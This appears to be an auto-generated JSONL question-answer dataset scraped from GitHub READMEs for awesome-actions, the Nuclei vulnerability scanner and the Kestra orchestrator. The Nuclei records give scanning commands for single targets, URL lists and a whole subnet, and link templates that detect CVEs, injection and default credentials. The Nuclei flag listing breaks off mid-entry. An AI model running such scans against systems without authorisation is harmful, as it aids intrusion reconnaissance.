{"id": "gh_25e7c4a9f21c", "question": "How to: External Services", "question_body": "About sdras/awesome-actions", "answer": "- [Use a Jenkinsfile](https://github.com/jonico/jenkinsfile-runner-github-actions)\n- [GitHub Action for Firebase](https://github.com/w9jds/firebase-action)\n- [GitHub Action for Contentful Migration CLI](https://github.com/Shy/contentful-action)\n- [GitHub Actions for Pixela (a-know/pi)](https://github.com/peaceiris/actions-pixela)\n- [GitHub Action for Google Cloud Platform (GCP)](https://github.com/exelban/gcloud)\n- [Upload files to any OpenStack Swift service provider](https://github.com/iksaku/openstack-swift-action)\n- [GitHub Action for sending Stack Overflow posts to Slack](https://github.com/logankilpatrick/StackOverflowBot)\n- [Assume AWS role](https://github.com/nordcloud/aws-assume-role/)\n- [Generate Custom Response using JSONbin](https://github.com/fabasoad/jsonbin-action)", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037274"}
{"id": "gh_80ffd8950254", "question": "How to: Frontend Tools", "question_body": "About sdras/awesome-actions", "answer": "- [Execute Gradle task](https://github.com/MrRamych/gradle-actions)\n- [JS Build Actions](https://github.com/elstudio/actions-js-build) - Run Grunt or Gulp build tasks and commit file changes.\n- [GitHub Action for Gatsby CLI](https://github.com/jzweifel/gatsby-cli-github-action)\n- [Runs a WebPageTest audit and prints the results as commit comment](https://github.com/JCofman/webPagetestAction)\n- [GitHub Actions for Hugo extended](https://github.com/peaceiris/actions-hugo)\n- [Generate OG Image](https://github.com/BoyWithSilverWings/generate-og-image) - Generate customisable open graph images from Markdown files.\n- [GitHub Actions for mdBook](https://github.com/peaceiris/actions-mdbook)\n- [Setup Mint](https://github.com/fabasoad/setup-mint-action) - Setup Mint (programming language for writing single page applications).\n- [Gatsby AWS S3 Deployment](https://github.com/jonelantha/gatsby-s3-action) - Deploy Gatsby to S3 (supports CloudFront).", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037281"}
{"id": "gh_39afac67844d", "question": "How to: Machine Learning Ops", "question_body": "About sdras/awesome-actions", "answer": "- [Submitting Argo Workflows (Cloud Agnostic)](https://github.com/machine-learning-apps/actions-argo)\n- [Submitting Argo Workflows to GKE](https://github.com/machine-learning-apps/gke-argo)\n- [Query Experiment Tracking Results From Weights & Biases](https://github.com/machine-learning-apps/wandb-action)\n- [Run Parameterized Jupyter Notebooks](https://github.com/yaananth/run-notebook)\n- [Compile, Deploy and Run Kubeflow Pipeline](https://github.com/NikeNano/kubeflow-github-action)\n- [Automatically Dockerize A Data-Science Repo As A Jupyter Server](https://github.com/jupyterhub/repo2docker-action)\n- [Azure Machine Learning With GitHub Actions](https://github.com/machine-learning-apps/ml-template-azure)", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037287"}
{"id": "gh_8e0f1a9d2d9e", "question": "How to: Networking", "question_body": "About sdras/awesome-actions", "answer": "- [Setup ZeroTier](https://github.com/zerotier/github-action) - Connect your runner to a ZeroTier network.", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037293"}
{"id": "gh_18e378ff3c9c", "question": "How to: Localization", "question_body": "About sdras/awesome-actions", "answer": "- [Find and automatically fix typos and grammar issues in your code](https://github.com/sobolevn/misspell-fixer-action)\n- [Translation](https://github.com/fabasoad/translation-action) - Translate text from any language to any language.", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037298"}
{"id": "gh_d681b89ea335", "question": "How to: Cheat Sheet", "question_body": "About sdras/awesome-actions", "answer": "- [GitHub Actions Branding Cheat Sheet](https://haya14busa.github.io/github-action-brandings/)", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037304"}
{"id": "gh_e7424fdc203e", "question": "How to: Table of Contents", "question_body": "About projectdiscovery/nuclei", "answer": "- [**`Get Started`**](#get-started)\n  - [_`1. Nuclei CLI`_](#1-nuclei-cli)\n  - [_`2. Pro and Enterprise Editions`_](#2-pro-and-enterprise-editions)\n- [**`Documentation`**](#documentation)\n  - [_`Command Line Flags`_](#command-line-flags)\n  - [_`Single target scan`_](#single-target-scan)\n  - [_`Scanning multiple targets`_](#scanning-multiple-targets)\n  - [_`Network scan`_](#network-scan)\n  - [_`Scanning with your custom template`_](#scanning-with-your-custom-template)\n  - [_`Connect Nuclei to ProjectDiscovery_`_](#connect-nuclei-to-projectdiscovery)\n- [**`Nuclei Templates, Community and Rewards`**](#nuclei-templates-community-and-rewards-) 💎\n- [**`Our Mission`**](#our-mission)\n- [**`Contributors`**](#contributors-heart) ❤\n- [**`License`**](#license)", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26565, "answer_score": 10, "has_code": false, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.903951"}
{"id": "gh_60db4d7a0323", "question": "How to: **1. Nuclei CLI**", "question_body": "About projectdiscovery/nuclei", "answer": "_Install Nuclei on your machine. Get started by following the installation guide [**`here`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme). Additionally, We provide [**`a free cloud tier`**](https://cloud.projectdiscovery.io/sign-up) and comes with a generous monthly free limits:_\n\n- Store and visualize your vulnerability findings\n- Write and manage your nuclei templates\n- Access latest nuclei templates\n- Discover and store your targets\n\n> [!Important]\n> |**This project is in active development**. Expect breaking changes with releases. Review the release changelog before updating.|\n> |:--------------------------------|\n> | This project is primarily built to be used as a standalone CLI tool. **Running nuclei as a service may pose security risks.** It's recommended to use with caution and additional security measures. |", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26565, "answer_score": 10, "has_code": false, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.903970"}
{"id": "gh_5a81793fe4a8", "question": "How to: **2. Pro and Enterprise Editions**", "question_body": "About projectdiscovery/nuclei", "answer": "_For security teams and enterprises, we provide a cloud-hosted service built on top of Nuclei OSS, fine-tuned to help you continuously run vulnerability scans at scale with your team and existing workflows:_\n\n- 50x faster scans\n- Large scale scanning with high accuracy\n- Integrations with cloud services (AWS, GCP, Azure, Cloudflare, Fastly, Terraform, Kubernetes)\n- Jira, Slack, Linear, APIs and Webhooks\n- Executive and compliance reporting\n- Plus: Real-time scanning, SAML SSO, SOC 2 compliant platform (with EU and US hosting options), shared team workspaces, and more\n- We're constantly [**`adding new features`**](https://feedback.projectdiscovery.io/changelog)!\n- **Ideal for:** Pentesters, security teams, and enterprises\n\n[**`Sign up to Pro`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) or [**`Talk to our team`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) if you have large organization and complex requirements.", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26565, "answer_score": 10, "has_code": false, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.903980"}
{"id": "gh_3c196bbb963c", "question": "How to: Documentation", "question_body": "About projectdiscovery/nuclei", "answer": "Browse the full Nuclei [**`documentation here`**](https://docs.projectdiscovery.io/tools/nuclei/running). If you’re new to Nuclei, check out our [**`foundational YouTube series`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl).", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26565, "answer_score": 10, "has_code": false, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.903989"}
{"id": "gh_629bde1bdd7c", "question": "How to: Installation", "question_body": "About projectdiscovery/nuclei", "answer": "`nuclei` requires **go >= 1.24.2** to install successfully. Run the following command to get the repo:\n\n```sh\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n```\n\nTo learn more about installing nuclei, see `https://docs.projectdiscovery.io/tools/nuclei/install`.", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 26565, "answer_score": 10, "has_code": true, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.903995"}
{"id": "gh_ab93ffda9456", "question": "How to: Command Line Flags", "question_body": "About projectdiscovery/nuclei", "answer": "To display all the flags for the tool:\n\n```sh\nnuclei -h\n```\nExpand full help flags\n```yaml\nNuclei is a fast, template based vulnerability scanner focusing\non extensive configurability, massive extensibility and ease of use.\n\nUsage:\n  ./nuclei [flags]\n\nFlags:\nTARGET:\n   -u, -target string[]          target URLs/hosts to scan\n   -l, -list string              path to file containing a list of target URLs/hosts to scan (one per line)\n   -eh, -exclude-hosts string[]  hosts to exclude to scan from the input list (ip, cidr, hostname)\n   -resume string                resume scan from and save to specified file (clustering will be disabled)\n   -sa, -scan-all-ips            scan all the IP's associated with dns record\n   -iv, -ip-version string[]     IP version to scan of hostname (4,6) - (default 4)\n\nTARGET-FORMAT:\n   -im, -input-mode string        mode of input file (list, burp, jsonl, yaml, openapi, swagger) (default \"list\")\n   -ro, -required-only            use only required fields in input format when generating requests\n   -sfv, -skip-format-validation  skip format validation (like missing vars) when parsing input file\n\nTEMPLATES:\n   -nt, -new-templates                    run only new templates added in latest nuclei-templates release\n   -ntv, -new-templates-version string[]  run new templates added in specific version\n   -as, -automatic-scan                   automatic web scan using wappalyzer technology detection to tags mapping\n   -t, -templates string[]                list of template or template directory to run (comma-separated, file)\n   -turl, -template-url string[]          template url or list containing template urls to run (comma-separated, file)\n   -ai, -prompt string                    generate and run template using ai prompt\n   -w, -workflows string[]                list of workflow or workflow directory to run (comma-separated, file)\n   -wurl, -workflow-url string[]          workflow url or list containing workflow urls to run (comma-separated, file)\n   -validate                              validate the passed templates to nuclei\n   -nss, -no-strict-syntax                disable strict syntax check on templates\n   -td, -template-display                 displays the templates content\n   -tl                                    list all templates matching current filters\n   -tgl                                   list all available tags\n   -sign                                  signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable\n   -code                                  enable loading code protocol-based templates\n   -dut, -disable-unsigned-templates      disable running unsigned templates or templates with mismatched signature\n   -esc, -enable-self-contained           enable loading self-contained templates\n   -egm, -enable-global-matchers          enable loading global matchers templates\n   -file                                  enable loading file templates\n\nFILTERING:\n   -a, -author string[]               templates to run based on authors (comma-separated, file)\n   -tags string[]                     templates to run based on tags (comma-separated, file)\n   -etags, -exclude-tags string[]     templates to exclude based on tags (comma-separated, file)\n   -itags, -include-tags string[]     tags to be executed even if they are excluded either by default or configuration\n   -id, -template-id string[]         templates to run based on template ids (comma-separated, file, allow-wildcard)\n   -eid, -exclude-id string[]         templates to exclude based on template ids (comma-separated, file)\n   -it, -include-templates string[]   path to template file or directory to be executed even if they are excluded either by default or configuration\n   -et, -exclude-templates string[]   path to template file or directory to exclude (comma-separated, file)\n   -em, -exclude-matchers string[]    template matchers to exclude in result\n   -s, -severity value[]              templates to run based on severity. Possible values: info, low, medium, high, critical, unknown\n   -es, -exclude-severity value[]     templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown\n   -pt, -type value[]                 templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -ept, -exclude-type value[]        templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -tc, -template-condition string[]  templates to run based on expression condition\n\nOUTPUT:\n   -o, -output string            output file to write found issues/vulnerabilities\n   -sresp, -store-resp           store all request/response passed through nuclei to output directory\n   -srd, -store-resp-dir string  store all request/response passed through nuclei to custom directory (default \"output\"", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 26565, "answer_score": 10, "has_code": true, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.904037"}
{"id": "gh_ffd8307dc1dd", "question": "How to: Single target scan", "question_body": "About projectdiscovery/nuclei", "answer": "To perform a quick scan on web-application:\n\n```sh\nnuclei -target https://example.com\n```", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 26565, "answer_score": 10, "has_code": true, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.904045"}
{"id": "gh_d6ea61f652a6", "question": "How to: Scanning multiple targets", "question_body": "About projectdiscovery/nuclei", "answer": "Nuclei can handle bulk scanning by providing a list of targets. You can use a file containing multiple URLs.\n\n```sh\nnuclei -list urls.txt\n```", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 26565, "answer_score": 10, "has_code": true, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.904051"}
{"id": "gh_4262786c1081", "question": "How to: Network scan", "question_body": "About projectdiscovery/nuclei", "answer": "This will scan the entire subnet for network-related issues, such as open ports or misconfigured services.\n\n```sh\nnuclei -target 192.168.1.0/24\n```", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 26565, "answer_score": 10, "has_code": true, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.904056"}
{"id": "gh_e522bd982d47", "question": "How to: Scanning with your custom template", "question_body": "About projectdiscovery/nuclei", "answer": "To write and use your own template, create a `.yaml` file with specific rules, then use it as follows.\n\n```sh\nnuclei -u https://example.com -t /path/to/your-template.yaml\n```", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 26565, "answer_score": 10, "has_code": true, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.904061"}
{"id": "gh_e5f3e4d3d97d", "question": "How to: Connect Nuclei to ProjectDiscovery", "question_body": "About projectdiscovery/nuclei", "answer": "You can run the scans on your machine and upload the results to the cloud platform for further analysis and remediation.\n\n```sh\nnuclei -target https://example.com -dashboard\n```\n\n> [!NOTE]\n> This feature is absolutely free and does not require any subscription. For a detailed guide, refer to the [**`documentation`**](https://docs.projectdiscovery.io/cloud/scanning/nuclei-scan?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme).", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26565, "answer_score": 10, "has_code": true, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.904067"}
{"id": "gh_eac6a640aab7", "question": "How to: Nuclei Templates, Community and Rewards 💎", "question_body": "About projectdiscovery/nuclei", "answer": "[**Nuclei templates**](https://github.com/projectdiscovery/nuclei-templates) are based on the concepts of YAML based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei. The templates are written in YAML which specifies a simple human-readable format to quickly define the execution process.\n\n**Try it online with our free AI powered Nuclei Templates Editor by** [**`clicking here`**](https://cloud.projectdiscovery.io/templates).\n\nNuclei Templates offer a streamlined way to identify and communicate vulnerabilities, combining essential details like severity ratings and detection methods. This open-source, community-developed tool accelerates threat response and is widely recognized in the cybersecurity world. Nuclei templates are actively contributed by thousands of security researchers globally. We run two programs for our contributors: [**`Pioneers`**](https://projectdiscovery.io/pioneers) and [**`💎 bounties`**](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22).\n#### Examples\n\nVisit [**our documentation**](https://docs.projectdiscovery.io/templates/introduction) for use cases and ideas.\n\n| Use case                             | Nuclei template                                    |\n| :----------------------------------- | :------------------------------------------------- |\n| Detect known CVEs                    | **[CVE-2021-44228 (Log4Shell)](https://cloud.projectdiscovery.io/public/CVE-2021-45046)**                     |\n| Identify Out-of-Band vulnerabilities | **[Blind SQL Injection via OOB](https://cloud.projectdiscovery.io/public/CVE-2024-22120)**                    |\n| SQL Injection detection              | **[Generic SQL Injection](https://cloud.projectdiscovery.io/public/CVE-2022-34265)**                          |\n| Cross-Site Scripting (XSS)           | **[Reflected XSS Detection](https://cloud.projectdiscovery.io/public/CVE-2023-4173)**                        |\n| Default or weak passwords            | **[Default Credentials Check](https://cloud.projectdiscovery.io/public/airflow-default-login)**                      |\n| Secret files or data exposure        | **[Sensitive File Disclosure](https://cloud.projectdiscovery.io/public/airflow-configuration-exposure)**                      |\n| Identify open redirects              | **[Open Redirect Detection](https://cloud.projectdiscovery.io/public/open-redirect)**                        |\n| Detect subdomain takeovers           | **[Subdomain Takeover Templates](https://cloud.projectdiscovery.io/public/azure-takeover-detection)**                   |\n| Security misconfigurations           | **[Unprotected Jenkins Console](https://cloud.projectdiscovery.io/public/unauthenticated-jenkins)**                    |\n| Weak SSL/TLS configurations          | **[SSL Certificate Expiry](https://cloud.projectdiscovery.io/public/expired-ssl)**                         |\n| Misconfigured cloud services         | **[Open S3 Bucket Detection](https://cloud.projectdiscovery.io/public/s3-public-read-acp)**                       |\n| Remote code execution vulnerabilities| **[RCE Detection Templates](https://cloud.projectdiscovery.io/public/CVE-2024-29824)**                        |\n| Directory traversal attacks          | **[Path Traversal Detection](https://cloud.projectdiscovery.io/public/oracle-fatwire-lfi)**                       |\n| File inclusion vulnerabilities       | **[Local/Remote File Inclusion](https://cloud.projectdiscovery.io/public/CVE-2023-6977)**                    |", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 26565, "answer_score": 10, "has_code": true, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.904088"}
{"id": "gh_45bfa98946ad", "question": "How to: Our Mission", "question_body": "About projectdiscovery/nuclei", "answer": "Traditional vulnerability scanners were built decades ago. They are closed-source, incredibly slow, and vendor-driven. Today's attackers are mass exploiting newly released CVEs across the internet within days, unlike the years it used to take. This shift requires a completely different approach to tackling trending exploits on the internet.\n\nWe built Nuclei to solve this challenge. We made the entire scanning engine framework open and customizable—allowing the global security community to collaborate and tackle the trending attack vectors and vulnerabilities on the internet. Nuclei is now used and contributed by Fortune 500 enterprises, government agencies, universities.\n\nYou can participate by contributing to our code, [**`templates library`**](https://github.com/projectdiscovery/nuclei-templates), or [**`joining our team`**](https://projectdiscovery.io/).", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26565, "answer_score": 10, "has_code": false, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.904097"}
{"id": "gh_6704298196aa", "question": "How to: Contributors :heart:", "question_body": "About projectdiscovery/nuclei", "answer": "Thanks to all the amazing [**`community contributors for sending PRs`**](https://github.com/projectdiscovery/nuclei/graphs/contributors) and keeping this project updated. :heart:", "tags": ["projectdiscovery"], "source": "github_gists", "category": "projectdiscovery", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 26565, "answer_score": 10, "has_code": false, "url": "https://github.com/projectdiscovery/nuclei", "collected_at": "2026-01-17T08:17:09.904146"}
{"id": "gh_0d4e1f7096c9", "question": "How to: 🌟 What is Kestra?", "question_body": "About kestra-io/kestra", "answer": "Kestra is an open-source, event-driven orchestration platform that makes both **scheduled** and **event-driven** workflows easy. By bringing **Infrastructure as Code** best practices to data, process, and microservice orchestration, you can build reliable [workflows](https://kestra.io/docs/getting-started) directly from the UI in just a few lines of YAML.\n\n**Key Features:**\n- **Everything as Code and from the UI:** keep **workflows as code** with a **Git Version Control** integration, even when building them from the UI.\n- **Event-Driven & Scheduled Workflows:** automate both **scheduled** and **real-time** event-driven workflows via a simple `trigger` definition.\n- **Declarative YAML Interface:** define workflows using a simple configuration in the **built-in code editor**.\n- **Rich Plugin Ecosystem:** hundreds of plugins built in to extract data from any database, cloud storage, or API, and **run scripts in any language**.\n- **Intuitive UI & Code Editor:** build and visualize workflows directly from the UI with syntax highlighting, auto-completion and real-time syntax validation.\n- **Scalable:** designed to handle millions of workflows, with high availability and fault tolerance.\n- **Version Control Friendly:** write your workflows from the built-in code Editor and push them to your preferred Git branch directly from Kestra, enabling best practices with CI/CD pipelines and version control systems.\n- **Structure & Resilience**: tame chaos and bring resilience to your workflows with **namespaces**, **labels**, **subflows**, **retries**, **timeout**, **error handling**, **inputs**, **outputs** that generate artifacts in the UI, **variables**, **conditional branching**, **advanced scheduling**, **event triggers**, **backfills**, **dynamic tasks**, **sequential and parallel tasks**, and skip tasks or triggers when needed by setting the flag `disabled` to `true`.\n\n🧑‍💻 The YAML definition gets automatically adjusted any time you make changes to a workflow from the UI or via an API call. Therefore, the orchestration logic is **always managed declaratively in code**, even if you modify your workflows in other ways (UI, CI/CD, Terraform, API calls).\n---", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448505"}
{"id": "gh_3e15b2608d6b", "question": "How to: Launch on AWS (CloudFormation)", "question_body": "About kestra-io/kestra", "answer": "Deploy Kestra on AWS using our CloudFormation template:\n\n[![Launch Stack](https://cdn.rawgit.com/buildkite/cloudformation-launch-stack-button-svg/master/launch-stack.svg)](https://console.aws.amazon.com/cloudformation/home#/stacks/create/review?templateURL=https://kestra-deployment-templates.s3.eu-west-3.amazonaws.com/aws/cloudformation/ec2-rds-s3/kestra-oss.yaml&stackName=kestra-oss)", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448522"}
{"id": "gh_f8b8b16a6706", "question": "How to: Launch on Google Cloud (Terraform deployment)", "question_body": "About kestra-io/kestra", "answer": "Deploy Kestra on Google Cloud Infrastructure Manager using [our Terraform module](https://github.com/kestra-io/deployment-templates/tree/main/gcp/terraform/infrastructure-manager/vm-sql-gcs).", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448528"}
{"id": "gh_af4f4d4ddebe", "question": "How to: Get Started Locally in 5 Minutes", "question_body": "About kestra-io/kestra", "answer": "#### Launch Kestra in Docker\n\nMake sure that Docker is running. Then, start Kestra in a single command:\n\n```bash\ndocker run --pull=always --rm -it -p 8080:8080 --user=root \\\n  -v /var/run/docker.sock:/var/run/docker.sock \\\n  -v /tmp:/tmp kestra/kestra:latest server local\n```\n\nIf you're on Windows and use PowerShell:\n```powershell\ndocker run --pull=always --rm -it -p 8080:8080 --user=root `\n    -v \"/var/run/docker.sock:/var/run/docker.sock\" `\n    -v \"C:/Temp:/tmp\" kestra/kestra:latest server local\n```\n\nIf you're on Windows and use Command Prompt (CMD):\n```cmd\ndocker run --pull=always --rm -it -p 8080:8080 --user=root ^\n    -v \"/var/run/docker.sock:/var/run/docker.sock\" ^\n    -v \"C:/Temp:/tmp\" kestra/kestra:latest server local\n```\n\nIf you're on Windows and use WSL (Linux-based environment in Windows):\n```bash\ndocker run --pull=always --rm -it -p 8080:8080 --user=root \\\n    -v \"/var/run/docker.sock:/var/run/docker.sock\" \\\n    -v \"/mnt/c/Temp:/tmp\" kestra/kestra:latest server local\n```\n\nCheck our [Installation Guide](https://kestra.io/docs/installation) for other deployment options (Docker Compose, Podman, Kubernetes, AWS, GCP, Azure, and more).\n\nAccess the Kestra UI at [http://localhost:8080](http://localhost:8080) and start building your first flow!\n\n#### Your First Hello World Flow\n\nCreate a new flow with the following content:\n\n```yaml\nid: hello_world\nnamespace: dev\n\ntasks:\n  - id: say_hello\n    type: io.kestra.plugin.core.log.Log\n    message: \"Hello, World!\"\n```\n\nRun the flow and see the output in the UI!\n\n---", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 26240, "answer_score": 10, "has_code": true, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448539"}
{"id": "gh_8710cb3099e4", "question": "How to: 🧩 Plugin Ecosystem", "question_body": "About kestra-io/kestra", "answer": "Kestra's functionality is extended through a rich [ecosystem of plugins](https://kestra.io/plugins) that empower you to run tasks anywhere and code in any language, including Python, Node.js, R, Go, Shell, and more. Here's how Kestra plugins enhance your workflows:\n\n- **Run Anywhere:**\n  - **Local or Remote Execution:** Execute tasks on your local machine, remote servers via SSH, or scale out to serverless containers using [Task Runners](https://kestra.io/docs/task-runners).\n  - **Docker and Kubernetes Support:** Seamlessly run Docker containers within your workflows or launch Kubernetes jobs to handle compute-intensive workloads.\n\n- **Code in Any Language:**\n  - **Scripting Support:** Write scripts in your preferred programming language. Kestra supports Python, Node.js, R, Go, Shell, and others, allowing you to integrate existing codebases and deployment patterns.\n  - **Flexible Automation:** Execute shell commands, run SQL queries against various databases, and make HTTP requests to interact with APIs.\n\n- **Event-Driven and Real-Time Processing:**\n  - **Real-Time Triggers:** React to events from external systems in real-time, such as file arrivals, new messages in message buses (Kafka, Redis, Pulsar, AMQP, MQTT, NATS, AWS SQS, Google Pub/Sub, Azure Event Hubs), and more.\n  - **Custom Events:** Define custom events to trigger flows based on specific conditions or external signals, enabling highly responsive workflows.\n\n- **Cloud Integrations:**\n  - **AWS, Google Cloud, Azure:** Integrate with a variety of cloud services to interact with storage solutions, messaging systems, compute resources, and more.\n  - **Big Data Processing:** Run big data processing tasks using tools like Apache Spark or interact with analytics platforms like Google BigQuery.\n\n- **Monitoring and Notifications:**\n  - **Stay Informed:** Send messages to Slack channels, email notifications, or trigger alerts in PagerDuty to keep your team updated on workflow statuses.\n\nKestra's plugin ecosystem is continually expanding, allowing you to tailor the platform to your specific needs. Whether you're orchestrating complex data pipelines, automating scripts across multiple environments, or integrating with cloud services, there's likely a plugin to assist. And if not, you can always [build your own plugins](https://kestra.io/docs/plugin-developer-guide/) to extend Kestra's capabilities.\n\n🧑‍💻 **Note:** This is just a glimpse of what Kestra plugins can do. Explore the full list on our [Plugins Page](https://kestra.io/plugins).\n\n---", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448557"}
{"id": "gh_8b819817234a", "question": "How to: 📚 Key Concepts", "question_body": "About kestra-io/kestra", "answer": "- **Flows:** the core unit in Kestra, representing a workflow composed of tasks.\n- **Tasks:** individual units of work, such as running a script, moving data, or calling an API.\n- **Namespaces:** logical grouping of flows for organization and isolation.\n- **Triggers:** schedule or events that initiate the execution of flows.\n- **Inputs & Variables:** parameters and dynamic data passed into flows and tasks.\n\n---", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448564"}
{"id": "gh_35329dd66f9d", "question": "How to: 🎨 Build Workflows Visually", "question_body": "About kestra-io/kestra", "answer": "Kestra provides an intuitive UI that allows you to interactively build and visualize your workflows:\n\n- **Drag-and-Drop Interface:** add and rearrange tasks from the Topology Editor.\n- **Real-Time Validation:** instant feedback on your workflow's syntax and structure to catch errors early.\n- **Auto-Completion:** smart suggestions as you type to write flow code quickly and without syntax errors.\n- **Live Topology View:** see your workflow as a Directed Acyclic Graph (DAG) that updates in real-time.\n\n---", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448572"}
{"id": "gh_b475b7b30fb7", "question": "How to: Plugin Development", "question_body": "About kestra-io/kestra", "answer": "Create custom plugins to extend Kestra's capabilities. Check out our [Plugin Developer Guide](https://kestra.io/docs/plugin-developer-guide/) to get started.", "tags": ["kestra-io"], "source": "github_gists", "category": "kestra-io", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 26240, "answer_score": 10, "has_code": false, "url": "https://github.com/kestra-io/kestra", "collected_at": "2026-01-17T08:17:11.448578"}
